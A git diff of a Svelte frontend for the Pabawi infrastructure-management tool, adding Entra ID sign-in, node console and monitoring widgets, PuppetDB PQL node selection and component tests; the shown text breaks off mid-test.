@@ -13,6 +13,10 @@ "lint:fix": "eslint src --ext .ts --fix" }, "dependencies": { + "@novnc/novnc": "^1.7.0", + "@xterm/addon-attach": "^0.12.0", + "@xterm/addon-fit": "^0.11.0", + "@xterm/xterm": "^6.0.0", "svelte": "^5.0.0" }, "devDependencies": { diff --git a/frontend/src/App.svelte b/frontend/src/App.svelte index 676cd6d0..15299987 100644 --- a/frontend/src/App.svelte +++ b/frontend/src/App.svelte @@ -23,10 +23,14 @@ import CrashDumpsPage from './pages/CrashDumpsPage.svelte'; import LogsPage from './pages/LogsPage.svelte'; import { router } from './lib/router.svelte'; - import type { RouteConfig } from './lib/router.svelte'; + import { authManager } from './lib/auth.svelte'; + import { entraIdAuth } from './lib/entraIdAuth.svelte'; import { get } from './lib/api'; import { onMount } from 'svelte'; + // Public pages that should render without the navigation shell + const PUBLIC_PATHS = new Set(['/login', '/register', '/setup']); + const routes: Record = { '/': { component: HomePage, requiresAuth: true }, '/login': LoginPage, @@ -49,22 +53,34 @@ '/logs': { component: LogsPage, requiresAuth: true, requiresAdmin: true } }; + // Detect SSO authorization code synchronously before any child mounts + const hasSsoCode = typeof window !== 'undefined' && + new URLSearchParams(window.location.search).has('code'); + + let processingSso = $state(hasSsoCode); let setupComplete = $state(true); // Default to true to avoid flashing let checkingSetup = $state(true); - // Check setup status on mount onMount(async () => { + // Exchange the SSO code first — before the router or guard can strip it + if (hasSsoCode) { + try { + await entraIdAuth.handleSsoCallback(); + } finally { + processingSso = false; + } + } + + // Then check setup status try { const status = await get<{ isComplete: boolean }>('/api/setup/status'); setupComplete = status.isComplete; - // Redirect to setup if not complete and not already on setup page if (!setupComplete && router.currentPath !== '/setup') { router.navigate('/setup'); } } catch (error) { console.error('Failed to check setup status:', error); - // Assume setup is complete if we can't check setupComplete = true; } finally { checkingSetup = false; @@ -81,7 +97,15 @@ - {#if checkingSetup} + {#if processingSso} + +
+
+
+

Completing sign-in...

+
+
+ {:else if checkingSetup}
@@ -98,14 +122,14 @@
{:else}
- {#if setupComplete} + {#if setupComplete && authManager.isAuthenticated && !PUBLIC_PATHS.has(router.currentPath)} {/if}
- {#if setupComplete} + {#if setupComplete && authManager.isAuthenticated && !PUBLIC_PATHS.has(router.currentPath)}
diff --git a/frontend/src/components/ActionRow.svelte b/frontend/src/components/ActionRow.svelte new file mode 100644 index 00000000..709f804e --- /dev/null +++ b/frontend/src/components/ActionRow.svelte @@ -0,0 +1,19 @@ + + +{#if widgets.length > 0} +
+ {#each widgets as widget (widget.id)} + + {/each} +
+{/if} diff --git a/frontend/src/components/ConsoleAccessWidget.svelte b/frontend/src/components/ConsoleAccessWidget.svelte new file mode 100644 index 00000000..4913cdc9 --- /dev/null +++ b/frontend/src/components/ConsoleAccessWidget.svelte @@ -0,0 +1,93 @@ + + +{#if loaded && capabilities.length > 0} + {#if !consoleOpen} + +
+
+ Console + +
+
+ +
+
+ {:else} + +
+
+ Console + +
+
+ +
+
+ {/if} +{/if} diff --git a/frontend/src/components/ConsoleViewer.svelte b/frontend/src/components/ConsoleViewer.svelte new file mode 100644 index 00000000..94f751ae --- /dev/null +++ b/frontend/src/components/ConsoleViewer.svelte @@ -0,0 +1,404 @@ + + +
+ +
+
+ + + {statusLabel} + {#if activeCapability} + — {activeCapability.displayName} + {/if} +
+ +
+ {#if status === 'disconnected' && !errorMessage} + + {/if} + + {#if status === 'connected'} + + {/if} + + +
+
+ + +
+ {#if errorMessage} +
+
+ + + +

{errorMessage}

+
+ +
+ {/if} + + {#if status === 'connecting'} +
+
+ + + + + Establishing connection... +
+
+ {/if} + + {#if !activeCapability} +
+

No console capabilities available for this node.

+
+ {/if} + + + {#if isVnc} +
+ {/if} + + + {#if isTerminal} +
+ {/if} +
+
diff --git a/frontend/src/components/EntraIdLoginButton.svelte b/frontend/src/components/EntraIdLoginButton.svelte new file mode 100644 index 00000000..6ae22e11 --- /dev/null +++ b/frontend/src/components/EntraIdLoginButton.svelte @@ -0,0 +1,32 @@ + + + diff --git a/frontend/src/components/EntraIdLoginButton.test.ts b/frontend/src/components/EntraIdLoginButton.test.ts new file mode 100644 index 00000000..b2d69169 --- /dev/null +++ b/frontend/src/components/EntraIdLoginButton.test.ts @@ -0,0 +1,68 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { render, screen, fireEvent } from '@testing-library/svelte'; +import EntraIdLoginButton from './EntraIdLoginButton.svelte'; + +describe('EntraIdLoginButton', () => { + let originalLocation: Location; + + beforeEach(() => { + originalLocation = window.location; + Object.defineProperty(window, 'location', { + writable: true, + value: Object.assign({}, originalLocation, { href: '' }), + }); + }); + + afterEach(() => { + Object.defineProperty(window, 'location', { + writable: true, + value: originalLocation, + }); + }); + + it('renders with Microsoft logo SVG', () => { + render(EntraIdLoginButton); + + const svg = document.querySelector('svg'); + expect(svg).not.toBeNull(); + expect(svg?.getAttribute('aria-hidden')).toBe('true'); + // Microsoft logo has 4 colored rectangles + const rects = svg?.querySelectorAll('rect'); + expect(rects?.length).toBe(4); + }); + + it('renders default "Sign in with Microsoft" text', () => { + render(EntraIdLoginButton); + + expect(screen.getByText('Sign in with Microsoft')).toBeTruthy(); + }); + + it('renders custom provider name when passed', () => { + render(EntraIdLoginButton, { props: { providerName: 'Contoso' } }); + + expect(screen.getByText('Sign in with Contoso')).toBeTruthy(); + }); + + it('has correct aria-label with default provider name', () => { + render(EntraIdLoginButton); + + const button = screen.getByRole('button'); + expect(button.getAttribute('aria-label')).toBe('Sign in with Microsoft'); + }); + + it('has correct aria-label with custom provider name', () => { + render(EntraIdLoginButton, { props: { providerName: 'Contoso' } }); + + const button = screen.getByRole('button'); + expect(button.getAttribute('aria-label')).toBe('Sign in with Contoso'); + }); + + it('redirects to /api/auth/entra-id/login on click', async () => { + render(EntraIdLoginButton); + + const button = screen.getByRole('button'); + await fireEvent.click(button); + + expect(window.location.href).toBe('/api/auth/entra-id/login'); + }); +}); diff --git a/frontend/src/components/GeneralInfoWidget.svelte b/frontend/src/components/GeneralInfoWidget.svelte new file mode 100644 index 00000000..bb977cd1 --- /dev/null +++ b/frontend/src/components/GeneralInfoWidget.svelte @@ -0,0 +1,447 @@ + + +{#if node} +
+ +
+
+ {getOsIcon(generalInfo.osFamily)} +
+

{node.name || node.id}

+

+ {#if generalInfo.os}{generalInfo.os}{:else}{node.uri}{/if} + {#if generalInfo.architecture} + ·{generalInfo.architecture} + {/if} +

+
+
+
+ + {#if factsSource} + + + + {/if} +
+
+ +
+ + {#if generalInfo.memory || generalInfo.cpuCount || (generalInfo.disks && generalInfo.disks.length > 0)} +
+ + {#if generalInfo.cpuCount} +
+
+ + + + CPU +
+

{generalInfo.cpuCount} cores

+ {#if generalInfo.cpuModel} +

{generalInfo.cpuModel}

+ {/if} +
+ {/if} + + + {#if generalInfo.memory} +
+
+
+ + + + Memory +
+ {generalInfo.memory.percent}% +
+
+
+
+

{generalInfo.memory.label}

+
+ {/if} + + + {#if generalInfo.disks && generalInfo.disks.length > 0} + {#each generalInfo.disks as disk (disk.label)} +
+
+
+ + + + Disk +
+ {disk.percent}% +
+
+
+
+

+ {disk.label} + ·{formatBytes(disk.used)} / {formatBytes(disk.total)} +

+
+ {/each} + {/if} +
+ {/if} + + +
+ +
+

System

+
+
+ Transport + {node.transport} +
+
+ URI + {node.uri} +
+ {#if generalInfo.kernel} +
+ Kernel + {generalInfo.kernel}{#if generalInfo.kernelRelease} {generalInfo.kernelRelease}{/if} +
+ {/if} + {#if generalInfo.uptime} +
+ Uptime + {generalInfo.uptime} +
+ {/if} + {#if generalInfo.puppetVersion} +
+ Puppet Agent + v{generalInfo.puppetVersion} +
+ {/if} + {#if node.config.user} +
+ User + {node.config.user} +
+ {/if} + {#if node.config.port} +
+ Port + {node.config.port} +
+ {/if} +
+
+ + +
+

Networking

+ {#if generalInfo.networkInterfaces && generalInfo.networkInterfaces.length > 0} +
+ {#each generalInfo.networkInterfaces as iface (iface.name)} +
+ {iface.name} +
+ {#if iface.ip} + {iface.ip} + {/if} + {#if iface.mac} +

{iface.mac}

+ {/if} +
+
+ {/each} +
+ {:else if generalInfo.ip} +
+
+ Primary IP + {generalInfo.ip} +
+ {#if generalInfo.hostname} +
+ Hostname + {generalInfo.hostname} +
+ {/if} +
+ {:else} +

No network data available

+ {/if} +
+
+ + + {#if !generalInfo.os && !generalInfo.memory && !factsSource} +
+
+ + + +

+ System details (CPU, memory, disks) will appear once facts are available from PuppetDB or another passive source. +

+
+
+ {/if} +
+
+{/if} diff --git a/frontend/src/components/LatestActionsWidget.svelte b/frontend/src/components/LatestActionsWidget.svelte new file mode 100644 index 00000000..1545e810 --- /dev/null +++ b/frontend/src/components/LatestActionsWidget.svelte @@ -0,0 +1,97 @@ + + +
+
+

Latest Actions

+ +
+ {#if loading} +
+ +
+ {:else if error} + + {:else if executions.length === 0} +

+ No executions found for this node. +

+ {:else} + router.navigate(`/executions?id=${execution.id}`)} + showTargets={false} + /> + {#if executions.length > 6} + { e.preventDefault(); router.navigate(`/executions?targetNode=${nodeId}`); }} + > + View all executions → + + {/if} + {/if} +
diff --git a/frontend/src/components/MonitoringSummaryWidget.svelte b/frontend/src/components/MonitoringSummaryWidget.svelte new file mode 100644 index 00000000..287e939a --- /dev/null +++ b/frontend/src/components/MonitoringSummaryWidget.svelte @@ -0,0 +1,147 @@ + + +
+
+

Monitoring Summary

+ +
+ + {#if loading} +
+ +
+ {:else if error} +

+ Unable to load monitoring data. + +

+ {:else if services.length === 0} +

+ No monitored services found for this node. +

+ {:else} + +
+
+
{summary.total}
+
Total
+
+
+
{summary.ok}
+
OK
+
+ {#if summary.warn > 0} +
+
{summary.warn}
+
Warning
+
+ {/if} + {#if summary.crit > 0} +
+
{summary.crit}
+
Critical
+
+ {/if} + {#if summary.unknown > 0} +
+
{summary.unknown}
+
Unknown
+
+ {/if} +
+ + + {#if critWarnServices.length > 0} +
+

Issues requiring attention

+
+ {#each critWarnServices.slice(0, 10) as service (service.description)} +
+
+ + {STATE_NAMES[service.state]} + + {service.description} +
+ {#if service.pluginOutput} +

{service.pluginOutput}

+ {/if} +
+ {/each} +
+ {#if critWarnServices.length > 10} + + {/if} +
+ {/if} + + {#if critWarnServices.length === 0} +

All monitored services are healthy.

+ {/if} + {/if} +
diff --git a/frontend/src/components/Navigation.svelte b/frontend/src/components/Navigation.svelte index 4b7bc0d7..48829f64 100644 --- a/frontend/src/components/Navigation.svelte +++ b/frontend/src/components/Navigation.svelte @@ -143,7 +143,7 @@

Pabawi

- v1.4.0 + v1.5.0.beta
diff --git a/frontend/src/components/ParallelExecutionModal.svelte b/frontend/src/components/ParallelExecutionModal.svelte index 09c67ad8..ad6a17cb 100644 --- a/frontend/src/components/ParallelExecutionModal.svelte +++ b/frontend/src/components/ParallelExecutionModal.svelte @@ -26,9 +26,17 @@ nodes: string[]; } + interface SourceInfo { + nodeCount: number; + groupCount: number; + lastSync: string; + status: 'healthy' | 'degraded' | 'unavailable'; + } + interface InventoryResponse { nodes: Node[]; groups: NodeGroup[]; + sources?: Record; } interface CommandWhitelistConfig { @@ -73,7 +81,29 @@ // State for search and filtering let searchQuery = $state(""); let sourceFilter = $state("all"); - let viewMode = $state<"nodes" | "groups">("nodes"); + let viewMode = $state<"nodes" | "groups" | "pql">("nodes"); + + // PQL query state + let pqlQuery = $state(""); + let pqlError = $state(null); + let pqlLoading = $state(false); + let selectedPqlTemplate = $state(""); + let puppetdbAvailable = $state(false); + + // PQL query templates (same as InventoryPage) + const pqlPlaceholder = 'Example: nodes[certname] { certname ~ "web.*" }'; + const pqlTemplates = [ + { name: 'All nodes', query: 'nodes[certname]' }, + { name: 'Nodes by certname pattern', query: 'nodes[certname] { certname ~ "web.*" }' }, + { name: 'Nodes with specific OS', query: 'inventory[certname] { facts.os.name = "Ubuntu" }' }, + { name: 'Nodes by environment', query: 'nodes[certname] { catalog_environment = "production" }' }, + { name: 'Recently active nodes', query: `nodes[certname] { report_timestamp > "${new Date(Date.now() - 24 * 60 * 60 * 1000).toISOString()}" }` }, + { name: 'Nodes with failed reports', query: 'nodes[certname] { latest_report_status = "failed" }' }, + { name: 'Nodes by OS family', query: 'inventory[certname] { facts.os.family = "RedHat" }' }, + { name: 'Nodes with specific resource', query: 'inventory[certname] { resources { type = "Service" and title = "apache2" } }' }, + { name: 'Deactivated nodes', query: 'nodes[certname] { deactivated is not null }' }, + { name: 'Windows nodes', query: 'inventory[certname] { facts.os.family = "windows" }' }, + ]; // State for action configuration type ActionType = 'install-software' | 'execute-playbook' | 'execute-command' | 'execute-task' | 'run-puppet'; @@ -198,7 +228,7 @@ } } - // Keyboard shortcuts for view mode switching (Alt+N for nodes, Alt+G for groups) + // Keyboard shortcuts for view mode switching (Alt+N for nodes, Alt+G for groups, Alt+P for PQL) if (event.altKey && !loading) { if (event.key === 'n' || event.key === 'N') { event.preventDefault(); @@ -206,6 +236,9 @@ } else if (event.key === 'g' || event.key === 'G') { event.preventDefault(); viewMode = 'groups'; + } else if ((event.key === 'p' || event.key === 'P') && puppetdbAvailable) { + event.preventDefault(); + viewMode = 'pql'; } } } @@ -220,6 +253,9 @@ sourceFilter = "all"; viewMode = "nodes"; executionTool = availableExecutionTools[0] ?? 'bolt'; + pqlQuery = ''; + pqlError = null; + selectedPqlTemplate = ''; } // Fetch inventory data @@ -231,6 +267,7 @@ const data = await get('/api/inventory'); nodes = data.nodes || []; groups = data.groups || []; + puppetdbAvailable = !!(data.sources && 'puppetdb' in data.sources); } catch (err) { inventoryError = err instanceof Error ? err.message : 'Failed to load inventory'; console.error('[ParallelExecutionModal] Error fetching inventory:', err); @@ -281,6 +318,65 @@ } } + // Apply PQL query to select nodes + async function applyPqlQuery(): Promise { + if (!pqlQuery.trim()) { + pqlError = 'Please enter a PQL query'; + return; + } + + // Basic PQL validation + const query = pqlQuery.trim(); + if (!query.match(/^(nodes|facts|resources|reports|catalogs|edges|events|inventory|fact-contents)/)) { + pqlError = 'Invalid PQL query: must start with a valid entity (nodes, facts, resources, inventory, etc.)'; + return; + } + + pqlLoading = true; + pqlError = null; + + try { + const params = new URLSearchParams(); + params.append('pql', query); + const data = await get(`/api/inventory?${params.toString()}`); + const matchedNodes = data.nodes || []; + + if (matchedNodes.length === 0) { + pqlError = 'No nodes matched the PQL query'; + return; + } + + // Select matching node IDs + const matchedIds = matchedNodes.map(n => n.id); + selectedNodeIds = [...new Set([...selectedNodeIds, ...matchedIds])]; + + // Switch to nodes view to show selection + viewMode = 'nodes'; + } catch (err) { + pqlError = err instanceof Error ? err.message : 'Failed to execute PQL query'; + } finally { + pqlLoading = false; + } + } + + // Clear PQL query and its selections + function clearPqlQuery(): void { + pqlQuery = ''; + pqlError = null; + selectedPqlTemplate = ''; + } + + // Apply PQL template + function applyPqlTemplate(): void { + if (selectedPqlTemplate) { + const template = pqlTemplates.find(t => t.name === selectedPqlTemplate); + if (template) { + pqlQuery = template.query; + pqlError = null; + } + } + } + // Handle node selection toggle function toggleNodeSelection(nodeId: string): void { if (selectedNodeIds.includes(nodeId)) { @@ -642,7 +738,7 @@
@@ -756,15 +852,41 @@ e.preventDefault(); viewMode = 'nodes'; } + if ((e.key === 'ArrowRight' || e.key === 'ArrowDown') && puppetdbAvailable) { + e.preventDefault(); + viewMode = 'pql'; + } }} class="flex-1 px-3 py-2 text-sm font-medium rounded-md transition-colors focus:outline-none focus:ring-2 focus:ring-primary-500 focus:ring-offset-2 dark:focus:ring-offset-gray-800 {viewMode === 'groups' ? 'bg-primary-100 dark:bg-primary-900/30 text-primary-700 dark:text-primary-300' : 'text-gray-700 dark:text-gray-300 hover:bg-gray-100 dark:hover:bg-gray-700'}" > Groups ({groups.length}) {viewMode === 'groups' ? '(selected)' : ''} + {#if puppetdbAvailable} + + {/if}
- + + {#if viewMode !== "pql"}
@@ -812,6 +934,7 @@ Clear All
+ {/if} {#if viewMode === "nodes"} @@ -910,6 +1033,90 @@ {/if}
{/if} + + + {#if viewMode === "pql" && puppetdbAvailable} +
+

+ Use a PQL query to select nodes from PuppetDB. Matched nodes will be added to your selection. +

+ + +
+ + +
+ + +
+ + +
+ + + {#if pqlError} + + {/if} + + +
+ + +
+
+ {/if} {/if}
diff --git a/frontend/src/components/PuppetAgentActionsWidget.svelte b/frontend/src/components/PuppetAgentActionsWidget.svelte new file mode 100644 index 00000000..10ad1d6a --- /dev/null +++ b/frontend/src/components/PuppetAgentActionsWidget.svelte @@ -0,0 +1,165 @@ + + +
+ +
+ Puppet Agent +
+ + {#if executionTool} + + {/if} +
+
+ + +
+ + + + + +
+
diff --git a/frontend/src/components/PuppetRunsWidget.svelte b/frontend/src/components/PuppetRunsWidget.svelte new file mode 100644 index 00000000..940ef0d0 --- /dev/null +++ b/frontend/src/components/PuppetRunsWidget.svelte @@ -0,0 +1,241 @@ + + +
+
+

Latest Puppet Runs

+ +
+ +
+ {#if !reports && loading} +

+ Loading Puppet runs... + +

+ {:else if reports && reports.length === 0} +

+ No Puppet runs found for this node. +

+ {:else if reports} +
+ + + + + + + + + + + + + + + + + + + {#each reports as report (report.hash)} + navigateToReports()} + > + + + + + + + + + + + + + + {/each} + +
+ Start Time + + Duration + + Environment + + Total + + Corrective + + Intentional + + Unchanged + + Failed + + Skipped + + Noop + + Compile Time + + Status +
+ {formatTimestamp(report.start_time)} + + {getDuration(report.start_time, report.end_time)} + +
+ {report.environment} + {#if report.noop} + + No-op + + {/if} +
+
+ {report.metrics.resources.total} + + {report.metrics.resources.corrective_change || 0} + + {getIntentionalChanges(report.metrics)} + + {getUnchanged(report.metrics)} + + {report.metrics.resources.failed} + + {report.metrics.resources.skipped} + + {report.metrics.events?.noop || 0} + + {formatCompilationTime(report.metrics.time?.config_retrieval)} + + +
+
+ + {#if reports.length >= 5} + + {/if} + {/if} +
+
diff --git a/frontend/src/components/Router.svelte b/frontend/src/components/Router.svelte index 65e0b6ec..50c6c91a 100644 --- a/frontend/src/components/Router.svelte +++ b/frontend/src/components/Router.svelte @@ -10,40 +10,40 @@ let { routes }: Props = $props(); const currentRoute = $derived(router.findRoute(routes)); + const Component = $derived(currentRoute?.component); + const params = $derived(currentRoute?.params || {}); + + // Derived guard: determines whether the resolved route is authorized to render + const routeConfig = $derived(currentRoute?.config as RouteConfig | undefined); + const authorized = $derived.by(() => { + if (!routeConfig?.requiresAuth) return true; + if (!authManager.isAuthenticated) return false; + if (routeConfig.requiresAdmin && !authManager.user?.isAdmin) return false; + return true; + }); - // Check authentication and authorization + // Side-effect only: perform redirects when unauthorized $effect(() => { if (!currentRoute) return; const config = currentRoute.config as RouteConfig | undefined; const currentPath = router.currentPath; - // Skip auth checks for public routes if (!config?.requiresAuth) return; - // Check if user is authenticated if (!authManager.isAuthenticated) { - // Store intended path and redirect to login router.setIntendedPath(currentPath); router.navigate('/login'); return; } - // Check admin requirement if (config.requiresAdmin && !authManager.user?.isAdmin) { - // Redirect to home if not admin router.navigate('/'); - return; } }); - - const Component = $derived(currentRoute?.component); - const params = $derived(currentRoute?.params || {}); -{#if Component} - -{:else} +{#if !Component}

404 - Page Not Found @@ -52,4 +52,10 @@ The page you're looking for doesn't exist.

+{:else if authorized} + +{:else} +
+
+
{/if} diff --git a/frontend/src/components/WidgetFrame.svelte b/frontend/src/components/WidgetFrame.svelte new file mode 100644 index 00000000..149dd554 --- /dev/null +++ b/frontend/src/components/WidgetFrame.svelte @@ -0,0 +1,77 @@ + + +
+ {#if state === 'loading'} +
+
+
+
+
+
+
+ {/if} + + {#if state === 'error'} +
+
+ {widget.integration} + {error} +
+ +
+ {/if} + + {#if state === 'loading' || state === 'ready'} +
+ {#key mountKey} + + {/key} +
+ {/if} +
diff --git a/frontend/src/components/WidgetFrame.test.ts b/frontend/src/components/WidgetFrame.test.ts new file mode 100644 index 00000000..b0fc4df6 --- /dev/null +++ b/frontend/src/components/WidgetFrame.test.ts @@ -0,0 +1,225 @@ +/** + * Unit tests for WidgetFrame component. + * + * Property 5: Column span applied to frame element + * Property 7: Error badge content + * Also tests loading skeleton display, error state with retry, and content transition. + * + * Validates: Requirements 3.4, 5.4, 6.1, 6.2, 6.4 + */ + +import { describe, it, expect } from 'vitest'; +import { render, screen, fireEvent, waitFor } from '@testing-library/svelte'; +import type { Component } from 'svelte'; +import WidgetFrame from './WidgetFrame.svelte'; +import type { WidgetDefinition } from '../lib/widgetRegistry.svelte'; +import MockReadyWidget from './__tests__/MockReadyWidget.svelte'; +import MockErrorWidget from './__tests__/MockErrorWidget.svelte'; +import MockNeverReadyWidget from './__tests__/MockNeverReadyWidget.svelte'; + +function makeWidget(overrides: Partial = {}): WidgetDefinition { + return { + id: 'test-widget', + name: 'Test Widget', + component: MockReadyWidget as unknown as Component, + integration: 'bolt', + type: 'summary', + colSpan: 1, + priority: 10, + ...overrides, + }; +} + +describe('WidgetFrame', () => { + /** + * Property 5: Column span applied to frame element + * + * For any widget rendered in the grid, regardless of its internal state + * (loading, ready, or error), its containing frame element SHALL have a CSS + * class corresponding to its declared colSpan value. + * + * **Validates: Requirements 3.4, 5.4, 6.4** + */ + describe('Property 5: Column span applied to frame element', () => { + it('colSpan 1 applies col-span-1 class', () => { + const widget = makeWidget({ colSpan: 1, component: MockNeverReadyWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + const frame = container.firstElementChild as HTMLElement; + expect(frame.className).toContain('col-span-1'); + }); + + it('colSpan 2 applies sm:col-span-2 lg:col-span-2 classes', () => { + const widget = makeWidget({ colSpan: 2, component: MockNeverReadyWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + const frame = container.firstElementChild as HTMLElement; + expect(frame.className).toContain('sm:col-span-2'); + expect(frame.className).toContain('lg:col-span-2'); + }); + + it('colSpan 3 applies sm:col-span-2 lg:col-span-3 classes', () => { + const widget = makeWidget({ colSpan: 3, component: MockNeverReadyWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + const frame = container.firstElementChild as HTMLElement; + expect(frame.className).toContain('sm:col-span-2'); + expect(frame.className).toContain('lg:col-span-3'); + }); + + it('colSpan class is present in loading state', () => { + const widget = makeWidget({ colSpan: 2, component: MockNeverReadyWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + const frame = container.firstElementChild as HTMLElement; + // Verify loading skeleton is displayed + expect(frame.querySelector('.animate-pulse')).toBeTruthy(); + // Verify span class present during loading + expect(frame.className).toContain('sm:col-span-2'); + expect(frame.className).toContain('lg:col-span-2'); + }); + + it('colSpan class is present in ready state', async () => { + const widget = makeWidget({ colSpan: 3, component: MockReadyWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + await waitFor(() => { + expect(screen.getByTestId('mock-widget-content')).toBeTruthy(); + }); + const frame = container.firstElementChild as HTMLElement; + expect(frame.className).toContain('sm:col-span-2'); + expect(frame.className).toContain('lg:col-span-3'); + }); + + it('colSpan class is present in error state', async () => { + const widget = makeWidget({ colSpan: 2, component: MockErrorWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + await waitFor(() => { + expect(screen.getByText('Connection timeout')).toBeTruthy(); + }); + const frame = container.firstElementChild as HTMLElement; + expect(frame.className).toContain('sm:col-span-2'); + expect(frame.className).toContain('lg:col-span-2'); + }); + }); + + /** + * Property 7: Error badge content + * + * For any widget that throws an error, the displayed error badge SHALL contain + * the widget's integration name and a non-empty error summary string. + * + * **Validates: Requirements 6.1** + */ + describe('Property 7: Error badge content', () => { + it('error badge displays the integration name', async () => { + const widget = makeWidget({ + integration: 'puppetdb', + component: MockErrorWidget as unknown as Component, + }); + render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + await waitFor(() => { + expect(screen.getByText('puppetdb')).toBeTruthy(); + }); + }); + + it('error badge displays a non-empty error summary', async () => { + const widget = makeWidget({ component: MockErrorWidget as unknown as Component }); + render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + await waitFor(() => { + const errorText = screen.getByText('Connection timeout'); + expect(errorText).toBeTruthy(); + expect(errorText.textContent!.length).toBeGreaterThan(0); + }); + }); + + it('error badge shows both integration name and error message together', async () => { + const widget = makeWidget({ + integration: 'hiera', + component: MockErrorWidget as unknown as Component, + }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + await waitFor(() => { + expect(screen.getByText('hiera')).toBeTruthy(); + expect(screen.getByText('Connection timeout')).toBeTruthy(); + }); + // Both are within the error badge container + const errorBadge = container.querySelector('.border-red-200'); + expect(errorBadge).toBeTruthy(); + expect(errorBadge!.textContent).toContain('hiera'); + expect(errorBadge!.textContent).toContain('Connection timeout'); + }); + }); + + describe('Loading skeleton display', () => { + it('shows animated skeleton placeholder while loading', () => { + const widget = makeWidget({ component: MockNeverReadyWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + const skeleton = container.querySelector('.animate-pulse'); + expect(skeleton).toBeTruthy(); + }); + + it('skeleton has gray background styling', () => { + const widget = makeWidget({ component: MockNeverReadyWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + const skeleton = container.querySelector('.bg-gray-100'); + expect(skeleton).toBeTruthy(); + }); + }); + + describe('Error state with retry', () => { + it('shows retry button in error state', async () => { + const widget = makeWidget({ component: MockErrorWidget as unknown as Component }); + render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + await waitFor(() => { + expect(screen.getByText('Retry')).toBeTruthy(); + }); + }); + + it('clicking retry resets to loading state', async () => { + const widget = makeWidget({ component: MockErrorWidget as unknown as Component }); + render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + + // Wait for error state + await waitFor(() => { + expect(screen.getByText('Retry')).toBeTruthy(); + }); + + // Click retry + await fireEvent.click(screen.getByText('Retry')); + + // After retry, error re-fires immediately from MockErrorWidget, + // but we verify the retry button is still available (component re-mounted and errored again) + await waitFor(() => { + expect(screen.getByText('Connection timeout')).toBeTruthy(); + expect(screen.getByText('Retry')).toBeTruthy(); + }); + }); + + it('error state hides the loading skeleton', async () => { + const widget = makeWidget({ component: MockErrorWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + await waitFor(() => { + expect(screen.getByText('Connection timeout')).toBeTruthy(); + }); + const skeleton = container.querySelector('.animate-pulse'); + expect(skeleton).toBeNull(); + }); + }); + + describe('Content transition', () => { + it('hides skeleton and shows content when widget signals ready', async () => { + const widget = makeWidget({ component: MockReadyWidget as unknown as Component }); + const { container } = render(WidgetFrame, { props: { widget, nodeId: 'node-1' } }); + await waitFor(() => { + expect(screen.getByTestId('mock-widget-content')).toBeTruthy(); + }); + // Skeleton should be gone + const skeleton = container.querySelector('.animate-pulse'); + expect(skeleton).toBeNull(); + }); + + it('widget content includes the nodeId prop', async () => { + const widget = makeWidget({ component: MockReadyWidget as unknown as Component }); + render(WidgetFrame, { props: { widget, nodeId: 'my-server-01' } }); + await waitFor(() => { + expect(screen.getByText('Widget loaded for my-server-01')).toBeTruthy(); + }); + }); + }); +}); diff --git a/frontend/src/components/WidgetGrid.integration.test.ts b/frontend/src/components/WidgetGrid.integration.test.ts new file mode 100644 index 00000000..04374d16 --- /dev/null +++ b/frontend/src/components/WidgetGrid.integration.test.ts @@ -0,0 +1,436 @@ +/** + * Integration tests for WidgetGrid — full component tree with real registry. + * + * Tests the end-to-end flow: register widgets → fetch status → filter → render + * in correct containers (ActionRow vs grid) with correct priority ordering. + * + * Uses custom test widgets (MockReadyWidget, MockErrorWidget) registered through + * the real registry, NOT the real widget barrel imports. + * + * **Validates: Requirements 2.2, 4.2, 8.1, 8.2, 8.3, 8.4, 8.5** + */ + +import { describe, it, expect, beforeEach, vi } from 'vitest'; +import { render, screen, waitFor } from '@testing-library/svelte'; +import type { Component } from 'svelte'; +import WidgetGrid from './WidgetGrid.svelte'; +import { registerWidget, _resetForTesting } from '../lib/widgetRegistry.svelte'; +import MockReadyWidget from './__tests__/MockReadyWidget.svelte'; + +// Mock the API module +vi.mock('../lib/api', () => ({ + get: vi.fn(), +})); + +import { get } from '../lib/api'; +const mockGet = vi.mocked(get); + +// --- Helpers --- + +function mockIntegrationStatus( + integrations: { name: string; status: string; type?: string }[], +): void { + mockGet.mockResolvedValue({ + integrations: integrations.map(i => ({ type: 'both', ...i })), + }); +} + +function registerTestWidget(overrides: Partial<{ + id: string; + name: string; + component: Component; + integration: string; + type: 'action' | 'list' | 'summary'; + colSpan: number; + priority: number; +}>): void { + registerWidget({ + id: overrides.id ?? 'test-widget', + name: overrides.name ?? 'Test Widget', + component: (overrides.component ?? MockReadyWidget) as unknown as Component, + integration: overrides.integration ?? 'bolt', + type: overrides.type ?? 'summary', + colSpan: overrides.colSpan ?? 2, + priority: overrides.priority ?? 100, + ...overrides, + }); +} + +describe('WidgetGrid Integration', () => { + beforeEach(() => { + _resetForTesting(); + vi.clearAllMocks(); + }); + + describe('multi-integration filtering', () => { + it('renders widgets for connected and degraded integrations, excludes others', async () => { + // Register widgets across 5 different integrations + registerTestWidget({ id: 'bolt-info', integration: 'bolt', type: 'summary', priority: 10 }); + registerTestWidget({ id: 'bolt-actions', integration: 'bolt', type: 'list', priority: 20 }); + registerTestWidget({ id: 'puppet-runs', integration: 'puppetdb', type: 'list', priority: 100 }); + registerTestWidget({ id: 'checkmk-summary', integration: 'checkmk', type: 'summary', priority: 100 }); + registerTestWidget({ id: 'proxmox-console', integration: 'proxmox', type: 'action', priority: 100 }); + + mockIntegrationStatus([ + { name: 'bolt', status: 'connected' }, + { name: 'puppetdb', status: 